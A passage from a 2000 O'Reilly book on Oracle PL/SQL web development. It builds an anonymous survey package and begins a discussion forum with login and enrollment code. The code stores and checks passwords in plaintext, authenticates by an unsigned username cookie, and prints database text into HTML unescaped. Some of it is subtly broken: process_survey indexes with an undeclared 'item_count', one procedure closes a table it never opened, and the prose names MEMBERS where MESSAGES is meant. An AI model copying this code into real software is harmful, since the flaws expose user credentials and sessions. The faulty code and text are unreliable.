We could take two approaches to this problem. In the first, we'll simply wait by the phone until someone in human resources (probably Bob) calls and asks us to create a particular survey (perhaps "Cross-Functional Teams and You"). Unfortunately, every call means that we have to build a new form, as well as analyze the results. This really cuts into our recreational web surfing.

A second, more interesting approach is to build a data-driven system that uses a data model to create any survey. Each time we have to create a new survey, we can simply enter the questions into the tables of our model, and out pops a complete form. Since the forms are standardized, we can also build a general system to store the user's responses and analyze the results.

Building a robust data model is a key part of this idea, and data models require data entry forms to populate their tables. We could build these tables with HTML, but it makes more sense to use a WebDB form or a client/server tool. If we, as IS developers, are the only people who will use a maintenance application, why spend the effort developing a complex system no one else will ever see?

8.1.4 Use PL/SQL Packages

The final step in building an application is to actually structure the code. As we've seen, the best tool for organizing PL/SQL is the package. Breaking your systems down along logical lines can simplify the design process and eliminate huge, monolithic programs. Package design is the most important PL/SQL skill to master, and simple web applications are a great place to practice your techniques. Here are some guidelines you should keep in mind when designing your systems:

  • Separate the "business rule" parts of your code from the user interface code. This will help you reuse these business rules in non-HTML applications, such as Java, client/server, and even Pro*COBOL.

  • Build a standard library of web functions that you can use over and over. Coding is hard work; anything you can do to reuse what you've already done (or better yet, what someone else has done) makes your life much easier.

  • Follow best-practices coding standards. A good PL/SQL book will help get you started; see Appendix A, Appendix: Resources for the Oracle Web Developer for further information.

  • Follow best-practices naming conventions for parameters and variables. As we've seen in earlier chapters, WebDB and OAS are very picky about variable names and types.

Okay, enough sermonizing. Let's look at some code.

Previous: 7.4 Improving Productivity | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 8.2 Example 1: An Anonymous Survey
7.4 Improving Productivity | Book Index | 8.2 Example 1: An Anonymous Survey
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.2 Example 1: An Anonymous Survey

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

8.2 Example 1: An Anonymous Survey

Our first application will let users fill out anonymous surveys using a web browser. Surveys and opinion polls are some of the most common web applications, and usually consist of a list of questions. Users respond by selecting an answer from a small list of options. Most systems also have an option that lets users see the tabulated results for each survey.

This section walks through a simple process you can use to create a generic survey system. Our first step is to design a storyboard to define each screen in the system. This sketch helps us in the next step: designing a generic data model that we can use to construct each page. Our last step is to actually code the system.

8.2.1 Storyboard

In a typical survey application, the first screen presents a list of all available surveys. There are usually two options for each survey: to answer it or to view its tabulated results. If the user decides to answer a survey, she's presented with a bunch of questions and a corresponding list of possible answers. She then answers the questions and presses "Submit" to save the responses in a database table. If the user chooses to view the results of a survey, she's presented with a table summarizing all the previous responses. Figure 8.2 is a simple storyboard that captures these functions.

Figure 8.2: The storyboard for the anonymous survey

8.2.2 Data Model

We can use the storyboard to design a data model. The first storyboard screen tells us that we need some sort of table to hold the survey list. The screen used to respond to a survey suggests three more tables. The first table holds the text of each question, the second holds the possible answers for each question, and the third holds the actual user responses. The "view results" screen queries these tables.

Figure 8.3 shows a data model that uses these four tables. The SURVEY table contains information about the survey itself, such as its name, description, and the date range during which it is available. The rows in QUESTIONS represent the individual questions on a survey. ANSWERS defines the list of valid responses for each question. The final table, RESPONSES, holds the actual responses given by the respondents.

Figure 8.3: A data design for the anonymous survey

8.2.3 Implementation Notes

Since the survey application is a fairly simple system, we can implement it using a single package, which we'll call EMP_SURVEY. We'll store all the application objects, including code and tables, in a schema named SURVEY.

8.2.4 The EMP_SURVEY Package

Now that we've got the basic screen layout and data model, we're finally ready to develop the actual package. Table 8.1 shows the five procedures contained in EMP_SURVEY.

Table 8.1: The EMP_SURVEY Package
Procedure | Parameters | Description
display_survey_list | None | Generates an HTML list of available surveys, with descriptions.
answer_survey | i_survey_id IN VARCHAR2 | Creates the HTML form that allows a user to respond to the survey.
process_survey | question IN response_array DEFAULT emp_survey.no_ response response IN response_array DEFAULT emp_survey.no_ response | Inserts the user's answers into the RESPONSES table.
view_results | i_survey_id IN VARCHAR2 | Prints each question in the survey. Together, view_results and print_answers tabulate the results for the survey.
print_answers | i_question_id IN VARCHAR2 | Prints the corresponding summary information for a question. Together, view_results and print_answers tabulate the results for the survey.

Like all packages, EMP_SURVEY requires a specification and a body.

8.2.4.1 Specification

We can translate the storyboard almost directly into a package specification. The four boxes on the diagram, each of which represents a screen in the system, indicate that we'll need at least four procedures. The lines connecting the boxes give us the formal parameter list for each procedure. Not everything is on the storyboard, though; we'll also need to declare an array to hold the user's survey answers. We'll discuss how to use this when we write the program to create the form.

The code for the EMP_SURVEY package is as follows:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE emp_survey
AS

   /*
   || Datatype used to hold the responses to the survey
   */
   TYPE response_array IS TABLE OF VARCHAR2(20)
      INDEX BY BINARY_INTEGER;
   no_response response_array;

   -- Display the list of available surveys
   PROCEDURE display_survey_list;

   -- Display the form so that the user can respond
   PROCEDURE answer_survey (i_survey_id IN VARCHAR2);

   -- Save the responses
   PROCEDURE process_survey (
      question IN response_array DEFAULT emp_survey.no_response,
      response IN response_array DEFAULT emp_survey.no_response
      );

   -- Display the results of a survey
   PROCEDURE view_results (i_survey_id IN VARCHAR2);

END;

8.2.4.2 Body

With the basic design complete, all that's left is to fill in the pieces. In the survey system, this consists largely of building screens based on the information in our data model. Recalling the specification, we have to write five procedures for the package body: display_survey_list, answer_survey, process_survey, view_results, and print_answers.

8.2.4.2.1 The display_survey_list procedure

The first procedure, display_survey_list, generates the first page of the storyboard. This page presents an HTML list of all available surveys along with their descriptions. Each survey requires two hyperlinks: one to link to the "response" page and one to link to the "view results" page.

The following procedure uses the SURVEY table to create the list. For each row in the table, the procedure creates a new HTML list item based on the survey_name and survey_desc columns. It also creates the two hyperlinks that include the survey_id as a parameter in the query string:

PROCEDURE display_survey_list
IS
   -- Create cursor of all surveys that are active
   -- Done by testing the start_date and end_date columns
   -- of the SURVEY table
   CURSOR survey_cur
   IS
      SELECT *
        FROM survey
       WHERE SYSDATE BETWEEN start_date AND end_date;
   survey_rec survey_cur%ROWTYPE;
   rec_count NUMBER DEFAULT 0;

BEGIN
   HTP.print ('<title>Available Surveys</title>');
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<ol>');   -- Begin an ordered list
   OPEN survey_cur;
   LOOP
      FETCH survey_cur INTO survey_rec;
      EXIT WHEN survey_cur%notfound;
      HTP.print ('<li>');
      HTP.bold (survey_rec.survey_name);
      HTP.print ('<br>');
      HTP.print ('<i>' || survey_rec.survey_desc || '</i><br>');
      -- Put an anchor to take the survey
      HTP.anchor (
         'emp_survey.answer_survey?i_survey_id=' ||
         survey_rec.survey_id,
         'Take the survey'
      );
      -- Put an anchor to view the results
      HTP.anchor (
         'emp_survey.view_results?i_survey_id=' ||
         survey_rec.survey_id,
         'View the results'
      );
      HTP.print ('<p></li>');
   END LOOP;
   HTP.print ('</ol>');
   CLOSE survey_cur;
END display_survey_list;

Figure 8.4 shows the procedure's output.

Figure 8.4: The main screen of the survey application

8.2.4.2.2 The answer_survey procedure

The next procedure creates the HTML form that allows a user to respond to the survey. answer_survey has one parameter, survey_id, to indicate the survey the user selected on the preceding screen. answer_survey uses the rows of the QUESTION table for the specified survey to build corresponding rows in a two-column table. The first column in the table holds the question's text. The second column holds two form <input> elements. The first element, a hidden field containing the question's ID, is needed to associate the user's answer with a corresponding question. The second element, created by the OWA_UTIL.LISTPRINT procedure, is a selectable list of the question's possible answers as they appear in the ANSWERS table. When the user submits the form, both the hidden field and the response field are passed as parameter arrays to the process_survey procedure.

The code for this procedure is as follows:

PROCEDURE answer_survey (i_survey_id IN VARCHAR2)
IS
   CURSOR q_cur
   IS
      SELECT *
        FROM questions
       WHERE survey_id = i_survey_id
       ORDER BY question_num;

   q_rec q_cur%ROWTYPE;
   stmt VARCHAR2(500);

BEGIN
   HTP.title ('Survey');
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<form action=emp_survey.process_survey>');
   HTP.print ('<table width=80%>');
   OPEN q_cur;
   LOOP
      FETCH q_cur INTO q_rec;
      EXIT WHEN q_cur%notfound;
      -- Start a new row in the HTML table
      HTP.print ('<tr>');
      -- Print the question in column 1
      HTP.print ('<th align=left valign=top>');
      HTP.print (q_rec.question_text);
      HTP.print ('</th>');
      -- Put the question_id and select list in column 2
      HTP.print ('<td>');
      -- Put the question_id in as a hidden field
      HTP.formhidden (
         cname => 'question',
         cvalue => q_rec.question_id
      );
      -- Use owa_util.listprint to build the LOV for the answer
      stmt :=
         'select answer_id, answer_text, default_ans_flag ';
      stmt := stmt || ' from survey.answers where';
      stmt := stmt || ' question_id = ' || q_rec.question_id;
      stmt := stmt || ' order by answer_order';
      OWA_UTIL.listprint (stmt, 'response', 4, FALSE);
      HTP.print ('</td>');
      HTP.print ('</tr>');
   END LOOP;
   HTP.print ('</table>');
   HTP.formsubmit;
   CLOSE q_cur;
END;

Figure 8.5 shows the output of this procedure for a sample survey.

Figure 8.5: The form used to answer a survey

8.2.4.2.3 The process_survey procedure

The third procedure, process_survey, inserts the user's answers into the RESPONSES table. It accepts two response_array parameters (see the specification), question and response. For each question on the answer form, these parameters hold (respectively) the ID of the question as defined in QUESTIONS and the ID of the user's corresponding answer as defined in ANSWERS.

The procedure loops through each element, inserting a new row in the RESPONSES table for each question. The procedure calls the display_survey_list procedure to return the user to the main screen:

PROCEDURE process_survey (
   question IN response_array DEFAULT emp_survey.no_response,
   response IN response_array DEFAULT emp_survey.no_response
   )
IS

   count NUMBER DEFAULT 0;

BEGIN
   HTP.title ('Saving Responses');
   HTP.print ('<body bgcolor=white>');
   -- COUNT attribute available in PL/SQL 2.3
   FOR count IN 1 .. question.count
   LOOP
      INSERT INTO responses (response_id,question_id,answer_id)
         VALUES (
            response_seq.nextval,
            question (item_count),
            response (item_count)
          );
   END LOOP;
   HTP.print ('<h1>Values Saved</h1><hr>');
   display_survey_list;
END;

8.2.4.2.4 The view_results procedure

The last procedure in the application tabulates the results for the survey specified by the survey_id parameter. The procedure is split into two parts: a main procedure (view_results) to print each question and a secondary procedure (print_answers) to print a corresponding summary. The code for the main procedure is as follows:

PROCEDURE view_results (i_survey_id IN VARCHAR2)
IS
   CURSOR q_cur
   IS
      SELECT *
        FROM questions
       WHERE survey_id = i_survey_id
       ORDER BY question_num;
   q_rec q_cur%ROWTYPE;
BEGIN
   HTP.title ('Survey Responses');
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<ol>');
   OPEN q_cur;
   LOOP
      FETCH q_cur INTO q_rec;
      EXIT WHEN q_cur%notfound;
      HTP.print ('<li>');
      HTP.print ('<b>' || q_rec.question_text || '</b>');
      HTP.print ('<br>');
      -- Call another procedure to generate the response summary
      print_answers (q_rec.question_id);
      HTP.print ('</td>');
   END LOOP;
   HTP.print ('</ol>');
   CLOSE q_cur;
END;

The secondary procedure, print_answers, generates the summary information for a question. The procedure opens a cursor based on the ANSWERS table to retrieve all the answers for a particular question. It then queries the RESPONSES table to calculate the percentages for that response. The code for the procedure is as follows:

PROCEDURE print_answers (i_question_id IN VARCHAR2)
IS
   CURSOR ans_cur
   IS
      SELECT *
        FROM answers
       WHERE question_id = i_question_id
       ORDER BY answer_order;
   ans_rec ans_cur%ROWTYPE;
   total_responses NUMBER;
   num_responses NUMBER;
BEGIN
   -- Fetch the total number of responses
   SELECT COUNT (*)
     INTO total_responses
     FROM responses
    WHERE question_id = i_question_id;
   HTP.print ('<table width=50%>');
   OPEN ans_cur;
   LOOP
      FETCH ans_cur INTO ans_rec;
      EXIT WHEN ans_cur%notfound;
      HTP.print ('<tr>');
      -- Print question text
      HTP.print ('<td nowrap>' ||
                 ans_rec.answer_text ||
                 '</td>');
      -- Fetch and print number of responses
      SELECT COUNT (*)
        INTO num_responses
        FROM responses
       WHERE answer_id = ans_rec.answer_id;
      HTP.print ('<td align=right>' ||
                 ROUND (
                    num_responses / total_responses * 100,
                    2
                 ) ||
                 '%</td>');
      HTP.print ('</tr>');
   END LOOP;
   HTP.print ('</table>');
   CLOSE ans_cur;
END;

Figure 8.6 shows the combined results of these procedures.

Figure 8.6: A sample summary

8.2.5 Security Privileges

Our last formal step is to make the package accessible to the user's web browser. Rather than creating a new PL/SQL agent for the SURVEY schema, we can make the package available to an existing agent's schema (in this case, WEBTEST). This makes the system more secure and reduces maintenance for the webmaster. Here are the steps to follow:

  1. Log in to the SURVEY schema using SQL*Plus.

  2. Grant EXECUTE privileges on the EMP_SURVEY package to the agent account (WEBTEST).

  3. Connect to the agent account (again, WEBTEST).

  4. Create a synonym called EMP_SURVEY for survey.emp_survey.

Figure 8.7 shows how these commands are used in SQL*Plus.

Figure 8.7: Using SQL*Plus to grant privileges to the PL/SQL agent

8.2.6 Summary

Developing the anonymous survey has taught us several things about web development. First, we have seen that a storyboard is a good place to start when faced with a new application. We can use the information on our diagram to define how the user will navigate, get a good idea of the database tables we'll need, and get a jump-start on defining the package specification. Second, this example has illustrated how to use parameter arrays to pass multiple field values, as well as how (and under what circumstances) you should use hidden fields. We'll expand these ideas further in the next sample application.

Previous: 8.1 Designing a Web Application | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 8.3 Example 2: A Discussion Forum
8.1 Designing a Web Application | Book Index | 8.3 Example 2: A Discussion Forum
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.3 Example 2: A Discussion Forum

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

8.3 Example 2: A Discussion Forum

Our second, more complex example allows users to post messages in a browser-based threaded discussion forum. The granddaddy of all discussion lists, Usenet, allows the Internet community to share its views on literally thousands of topics, ranging from C programming to The X-Files. A more focused list, run by RevealNet at http://www.revealnet.com, is geared to PL/SQL developers.

The system presented here is based loosely on the forums run by the online version of InfoWorld computer magazine (http://www.infoworld.com). Each week, the editors at InfoWorld select a number of topical issues in the computer industry for its readers to discuss. These forums allow registered users to express their opinions on both the forum topic and the posts from other readers. Figure 8.8 shows the user interface for the discussion forum we'll develop in this section.

Figure 8.8: A typical discussion list

A vibrant internal discussion forum is a great way for users and developers to communicate simply and efficiently. For example, a forum about an IS application provides users with the ability to report bugs (e.g., "the total dollars on this report should be double-underlined") and suggest new, potentially interesting ideas ("It'd be cool if we could click on the client number and get an AR report"). Monitoring these discussions can help you design better systems and establish your department, or at least you, as responsive and customer friendly.

8.3.1 Storyboard

Our system follows a well-established format. Users begin at a login screen where they provide a username and password. To allow users to express both personality and anonymity in their postings, we'll create our own list of users and not use the OWA_SEC package described in Chapter 7, The PL/SQL Toolkit. (This also saves the DBA from user maintenance.) Of course, the downside is that you now have a new list of users, possibly increasing maintenance. However, building maintenance features into the system (such as allowing a user to create a new account) helps shift the burden some so that users are maintaining their own information.

Initially, a user must enroll in the system and provide some optional information, such as a real name, an email address, and a personal description. Once the user logs in, he is presented with a list of the various forums. He can choose to create a new forum topic or respond to a previous post. If he chooses to create a forum, he is brought to a screen where he can enter the forum subject and its topic. If he chooses to view a forum discussion, he is brought to a list of all the previous responses.

These posts are arranged hierarchically, meaning that responses to a particular post are indented beneath the original message. Each post shows the subject of the message, the author, and the date it was created. Clicking one of these posts presents its full text, as well as a hyperlink labeled "Respond." Clicking the link allows the user to enter a response to the message. Figure 8.9 shows the storyboard for the system.

Figure 8.9: A storyboard for a threaded discussion list

8.3.2 Data Model

Figure 8.10 shows a straightforward data design for the discussion list. The first table we'll need is one to hold information about the forum members. The table, called MEMBERS, contains fields for the username, password, real name, and a personal description. All fields except the username are optional.

Figure 8.10: The data model for the discussion forum system

The second table, named MESSAGES, holds the posts submitted by the forum members. Its fields include a primary key based on a sequence value, the username of the member who submitted the message, a subject line, and the text of the message itself. To represent the hierarchical relationship between the messages, MEMBERS is defined recursively: an additional field must hold the primary key of the message's parent.

Notice that it isn't necessary to create a separate table to hold the forums. Instead, we can simply treat a forum as a message that is the root of a thread of other messages. By convention, we'll differentiate a forum from a normal post by setting its parent field to zero.

8.3.3 Implementation Notes

The threaded discussion list is complex enough that we should break it into simpler parts. The storyboard suggests at least two components: a package to register new members and a package to display the discussion list itself. Breaking the system into pieces lets us tackle the problem in discrete, logical steps.

In the next sections, we'll implement the system using three packages. The first package, GENERAL_FORM, will contain useful formatting procedures that are shared between the other packages. The second package, FORUM_USERS, will handle user management. The third package, FORUM, will handle all the code needed to allow users to post and view messages. Table 8.2 shows these packages with their procedures.

Table 8.2: The Discussion Forum Packages
Package | Procedures | Description
GENERAL_FORM | print_input_row print_textarea_row | Contains formatting procedures for the various forum procedures
FORUM_USERS | login_form login get_current_user create_user_form save_user_info | Handles user management for the forum
FORUM | print_thread_links current_forum_list view_message create_msg_form save_message | Handles users' posting and viewing of forum messages

Finally, we'll create all the application's objects (tables, packages, etc.) in a database schema named DISC_LIST.

8.3.4 The GENERAL_FORM Package

The GENERAL_FORM package contains two procedures that format form input elements into an HTML table. Both do the following basic things:

  • Open a new table row.

  • Print the passed label in the first column.

  • Print an input element in the second column; the element's attributes are set using the various parameters.

Conceptually similar to the HTP package procedures, the GENERAL_FORM procedures use parameters to set the tag attributes. Creating a library of simple procedures like these can encapsulate line after line of clumsy HTML code in a single call, resulting in cleaner and shorter programs. Table 8.3 shows the procedures and functions of the GENERAL_FORM package.

Table 8.3: The GENERAL_FORM Procedures
Procedure | Parameters | Description
print_input_row | i_label IN VARCHAR2 i_input_name IN VARCHAR2 i_hidden_flag IN BOOLEAN DEFAULT TRUE i_size IN NUMBER DEFAULT 40 i_value IN VARCHAR2 DEFAULT NULL | Formats a text input box using a table
print_textarea_row | i_label IN VARCHAR2 i_input_name IN VARCHAR2 i_cols IN NUMBER DEFAULT 40 i_rows IN NUMBER DEFAULT 7 | Formats a textarea input box using a table

8.3.4.1 Specification

Here's the specification for the GENERAL_FORM package:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE general_form
IS

   PROCEDURE print_input_row (
      i_label IN VARCHAR2,
      i_input_name IN VARCHAR2,
      i_hidden_flag IN BOOLEAN DEFAULT FALSE,
      i_size IN NUMBER DEFAULT 40,
      i_value IN VARCHAR2 DEFAULT NULL
      );

   PROCEDURE print_textarea_row (
      i_label IN VARCHAR2,
      i_input_name IN VARCHAR2,
      i_cols IN NUMBER DEFAULT 40,
      i_rows IN NUMBER DEFAULT 7
      );

END;

8.3.4.2 Body

The GENERAL_FORM procedures are simple enough that they don't require any annotation. Here's the code:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE BODY general_form
IS

   /*
   || Prints a single two-column table row;
   ||    Column 1 is description,
   ||    Column 2 has either an input element plain text
   */
   PROCEDURE print_input_row (
      i_label IN VARCHAR2,
      i_input_name IN VARCHAR2,
      i_hidden_flag IN BOOLEAN DEFAULT FALSE,
      i_size IN NUMBER DEFAULT 40,
      i_value IN VARCHAR2 DEFAULT NULL
      )
   IS
   BEGIN
      HTP.print ('<tr>');
      HTP.print ('<th align=right>' || i_label || ':</th>');
      HTP.print ('<td>');
      IF NOT i_hidden_flag
      THEN
         HTP.formtext (
            cname => i_input_name,
            csize => i_size,
            cvalue => i_value
         );
      ELSE
         HTP.formpassword (
            cname => i_input_name,
            cvalue => i_value
         );
      END IF;
      HTP.print ('</td>');
      HTP.print ('</tr>');
   END;

   /*
   || Create a two-column table
   ||    Column 1 is description
   ||    Column 2 is a <textarea> field
   */
   PROCEDURE print_textarea_row (
      i_label IN VARCHAR2,
      i_input_name IN VARCHAR2,
      i_cols IN NUMBER DEFAULT 40,
      i_rows IN NUMBER DEFAULT 7
      )
   IS
   BEGIN
      HTP.print ('<tr>');
      HTP.print ('<th align=right>' || i_label || ':</th>');
      HTP.print ('<td>');
      HTP.formtextarea (i_input_name, i_rows, i_cols);
      HTP.print ('</td></tr>');
      HTP.print ('</table>');
   END;
END;

8.3.5 The FORUM_USERS Package

Our second package, FORUM_USERS, will implement the user management portions of our discussion list. It performs two basic functions: user authentication and user enrollment. The authentication code is responsible for displaying a login form, verifying the username and password, and setting a cookie to save the username throughout the user's session. The enrollment code is responsible for displaying a user information screen and saving that data in the MEMBERS table.

One thing to note about the enrollment system is that it only inserts new users; once created, a user cannot update his profile. Although it would be relatively straightforward to also update a row, doing so would require considerably more code. Since updating a row adds little that is interesting to the example, users of the application in its current state (after all, this is just an example) simply have to make sure they spell their names right on the first try!

Table 8.4 shows the procedures and functions of the FORUM_USERS package.

Table 8.4: The FORUM_USERS Procedures and Functions
Procedure/Function | Parameters | Description
login_form | i_username IN VARCHAR2 DEFAULT NULL i_message IN VARCHAR2 DEFAULT NULL | Creates a login screen for users
login | i_username IN VARCHAR2 i_password IN VARCHAR2 | Verifies the user's login
get_current_user | None | Assigns the author of a message
create_user_form | None | Displays the data entry form to create a new user
save_user_info save_user_info | i_username IN VARCHAR2 DEFAULT NULL i_name IN VARCHAR2 DEFAULT NULL i_password IN VARCHAR2 DEFAULT NULL i_email_address IN VARCHAR2 DEFAULT NULL i_desc IN VARCHAR2 DEFAULT NULL | Inserts new user data into the MEMBERS table

8.3.5.1 Specification

The leftmost portion of the storyboard lays out how users log in to the system. By referring back to the diagram, we can see that we need at least three procedures in the specification: a procedure to create the login form itself (login_form); one to enroll new users (create_user_form); and one to insert the new user's information into the MEMBERS table (save_user_info). Since HTTP is a stateless protocol, we'll also need a function to pass the user's login name to the package that implements the discussion list code. This function is named get_current_user.

Here's the specification for FORUM_USERS:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE forum_users
IS

   PROCEDURE login_form (
      i_username IN VARCHAR2 DEFAULT NULL,
      i_message IN VARCHAR2 DEFAULT 'Please Log-In'
      );

   PROCEDURE login (
      i_username IN VARCHAR2,
      i_password IN VARCHAR2
      );

   FUNCTION get_current_user
      RETURN VARCHAR2;

   PROCEDURE create_user_form;

   PROCEDURE save_user_info (
      i_username IN VARCHAR2 DEFAULT NULL,
      i_name IN VARCHAR2 DEFAULT NULL,
      i_password IN VARCHAR2 DEFAULT NULL,
      i_email_address IN VARCHAR2 DEFAULT NULL,
      i_desc IN VARCHAR2 DEFAULT NULL
      );
END;

8.3.5.2 Body

In the following sections, we'll develop each procedure in the specification for USER_FORUM.

8.3.5.2.1 The login_form procedure.

This procedure creates a login screen that has three elements: a username field, a password field,[2] and a hyperlink used to enroll as a new user. The procedure has two parameters: the first parameter, i_username, sets the default text of the username. The second parameter, i_message, is used to change the message displayed on the form; this gives us added flexibility so that the form can serve multiple purposes. Note how this procedure calls the GENERAL_FORM package to create and format the form input elements:

[2] While the HTML password attribute adds a measure of security to the password field, it's important to remember that the text has only been masked, not encrypted! When the user submits the form, hackers can use a program called a packet sniffer to intercept and read the password. Your database administrator or webmaster must secure your site with a tool such as SSL to prevent this possibility.

 PROCEDURE login_form (
   i_username IN VARCHAR2 DEFAULT NULL,
   i_message IN VARCHAR2 DEFAULT 'Please Log-In'
   )
IS

BEGIN
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<h1>' || i_message || '</h1>');
   HTP.print ('<form action=forum_users.login>');
   general_form.print_input_row (
      'Forum User Name',
      'i_username',
      FALSE,
      30,
      i_username
   );
   general_form.print_input_row (
      'Forum Password',
      'i_password',
      TRUE
   );
   HTP.print ('</table>');
   HTP.formsubmit (cvalue => 'Login');
   HTP.print ('</form>');
   HTP.print ('<p><p>');
   HTP.anchor (
      'forum_users.create_user_form',
      'Enroll as a new user'
   );
END;

Figure 8.11 shows the output of the login_form procedure.

Figure 8.11: The forum login screen

8.3.5.2.2 The login procedure.

This procedure, called when the user submits the information from the login form, is the gateway to the FORUM package, which we'll describe later. The procedure begins by calling the verify_user function to determine if the person has entered a valid username and password. If the user has done this, login executes the set_user procedure, which saves the user's login name in a cookie named forum_user, then calls the procedure to display the forum topic list.

NOTE: Since cookies are relatively easy to hack, this approach is very insecure. For a system in which security (in the "I wanna keep out the bad guys" meaning of the word) is a serious issue, you would also need to use a protocol like SSL or HTTP and set the cookies to expire so they aren't saved on the user's machine.

If the user has entered an invalid username or password, the procedure calls login_form to display an error message along with the original login form:

/*
|| Check to see if username and password are valid
*/
FUNCTION verify_user (
   i_username IN VARCHAR2,
   i_password IN VARCHAR2
   )
   RETURN BOOLEAN
IS

   match_count NUMBER := 0;

BEGIN
   SELECT COUNT (*)
     INTO match_count
     FROM members
    WHERE username = i_username
      AND password = i_password;
   IF match_count = 1
   THEN
      RETURN TRUE;
   ELSE
      RETURN FALSE;
   END IF;
END;

/*
|| Save username into a cookie
*/
PROCEDURE set_user (i_username IN VARCHAR2)
IS
BEGIN
   OWA_UTIL.mime_header ('text/html', FALSE);
   OWA_COOKIE.send ('forum_user', i_username);
   OWA_UTIL.http_header_close;
END;

/*
|| Main procedure -- perform logic test and take
|| appropriate action
*/
PROCEDURE login (i_username IN VARCHAR2, i_password IN VARCHAR2)
IS
BEGIN
   IF verify_user (i_username, i_password)
   THEN
      set_user (i_username);
      forum.current_forum_list;
   ELSE
      login_form (i_username, 'Username/Password not found');
   END IF;
END;

8.3.5.2.3 The get_current_user function.

This function, the third block of code in the FORUM_USERS package, fetches and returns the original username stored in the forum_user cookie. The function is used by the FORUM package to assign the author of a message. While this function could also go in the actual FORUM package, there's a nice symmetry to keeping all functions that act on the same data structure (in this case, a cookie) together in the same package. Here's the code:

FUNCTION get_current_user
   RETURN VARCHAR2
IS
   cookie OWA_COOKIE.cookie;
   ret_val VARCHAR2(50) DEFAULT NULL;
BEGIN
   cookie := OWA_COOKIE.get ('forum_user');
   IF cookie.num_vals != 0
   THEN
      ret_val := cookie.vals (1);
   END IF;
   RETURN ret_val;
END;

8.3.5.2.4 The create_user_form procedure

This procedure displays the data entry form to create a new user. This screen, which the storyboard labels as "Fill out form to enroll as new user," is displayed when the user clicks "Enroll as a new user" on the login form. Here's the code:

PROCEDURE create_user_form
IS
BEGIN
   HTP.print ('<body bgcolor=white>');
   HTP.print ('<h1>Welcome, New User!</h1><hr>');
   HTP.print ('<form action=forum_users.save_user_info>');
   -- Existing users cannot change their name or username
   HTP.print ('<table>');
   general_form.print_input_row (
      'Forum User Name',
      'i_username'
   );
   general_form.print_input_row ('Real Name', 'i_name');
   general_form.print_input_row (
      'Forum Password',
      'i_password',
      TRUE
   );
   general_form.print_input_row (
      'Email Address',
      'i_email_address'
   );
   general_form.print_textarea_row ('Description', 'i_desc');
   HTP.print ('</table>');
   HTP.formsubmit (cvalue => 'Create New User Profile');
   HTP.print ('</form>');
END;

Figure 8.12 shows the output generated by the procedure.

Figure 8.12: The "add new user" screen

8.3.5.2.5 The save_user_info procedure.

This procedure, the last procedure in the FORUM_USERS package, attempts to insert the data entered on the "Create User" form into the MEMBERS table after the user presses the "Create New User Profile" button. If the insert is successful, the procedure calls set_user to save the new username and calls the procedure to display the forum list. If the insert fails, either because the user already exists or because there is some other error, the exception section prints an appropriate error message.

Here's the code:

PROCEDURE save_user_info (
   i_username IN VARCHAR2 DEFAULT NULL,
   i_name IN VARCHAR2 DEFAULT NULL,
   i_password IN VARCHAR2 DEFAULT NULL,
   i_email_address IN VARCHAR2 DEFAULT NULL,
   i_desc IN VARCHAR2 DEFAULT NULL
   )
IS
BEGIN
   -- Create the new user
   INSERT INTO members (
      username,
      password,
      name,
      email_address,
      personal_desc
      )
        VALUES (
           i_username,
           i_password,
           i_name,
           i_email_address,
           i_desc
        );
   COMMIT;
   set_user (i_username);
   forum.current_forum_list;
EXCEPTION
   WHEN DUP_VAL_ON_INDEX
   THEN
      HTP.print ('<h1>User already exists!</h1>');
   WHEN OTHERS
   THEN
      HTP.print ('<h1>An unidentified error occurred!</h1>');
END;

8.3.6 The FORUM Package

Now that we've built our supporting packages, we can turn our attention to the real meat of the application. The FORUM package displays and manipulates the records in the MESSAGES table. Table 8.5 shows the procedures in the FORUM package.

Table 8.5: The FORUM Procedures
Procedure | Parameters | Description
print_thread_links | i_thread_list IN VARCHAR2 i_expand_thread IN VARCHAR2 DEFAULT `N' | Private procedure used for formatting other procedures
current_forum_list | None | Generates the list of available forums
view_message | i_thread_id IN VARCHAR2 DEFAULT NULL i_hierarchy_flag IN VARCHAR2 DEFAULT NULL | Prints the full text of a message, a link for posting a response, and the threaded list of previous responses
create_msg_form | i_parent_msg IN VARCHAR2 DEFAULT NULL | Creates an HTML form used to respond to a message
save_message | i_parent_msg IN VARCHAR2 DEFAULT NULL i_subject IN VARCHAR2 DEFAULT NULL i_msg_body IN VARCHAR2 DEFAULT NULL | MESSAGES table

8.3.6.1 Specification

We'll need four procedures: one to display a list of forum topics, one to view the full text of a message, one to create a message, and one to save the new message into the MESSAGES table. Here's the specification for FORUM that includes procedures for each of these tasks:

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PACKAGE forum
IS

   PROCEDURE current_forum_list;

   PROCEDURE view_message (
      i_thread_id IN VARCHAR2 DEFAULT NULL,
      i_hierarchy_flag IN VARCHAR2 DEFAULT NULL
      );

   PROCEDURE create_msg_form (
      i_parent_msg IN VARCHAR2 DEFAULT NULL
      );

   PROCEDURE save_message (
      i_parent_msg IN VARCHAR2 DEFAULT NULL,
      i_subject IN VARCHAR2 DEFAULT NULL,
      i_msg_body IN VARCHAR2 DEFAULT NULL
      );

END;

8.3.6.2 Body

